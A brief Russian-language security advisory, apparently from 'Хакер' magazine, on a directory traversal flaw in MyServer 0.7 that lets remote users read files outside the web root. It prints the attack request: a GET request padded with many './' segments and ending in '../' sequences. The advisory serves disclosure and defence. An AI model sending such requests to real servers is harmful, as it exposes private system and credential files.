Удаленный просмотр произвольных файлов в MyServer

Рекомендуем почитать:

Хакер #327. Doom.ttf

• Содержание выпуска
• Подписка на «Хакер»-40%

Программа: MyServer 0.7 

Уязвимость обнаружена в MyServer. Удаленный пользователь может просматривать файлы вне Web каталога.
Сервер не проверяет пользовательские данные в HTTP Get запросах. Удаленный пользователь может представить специально обработанный запрос, чтобы просматривать произвольные файлы с привилегиями целевого Web сервера:

"GET ./././././././././././././././.
/././././././././././././././ ./././././.
/./././././././././././././././././././.
/./././././././././././././././././././.
/./././././././././././././././././././.
/../../../../../../../../"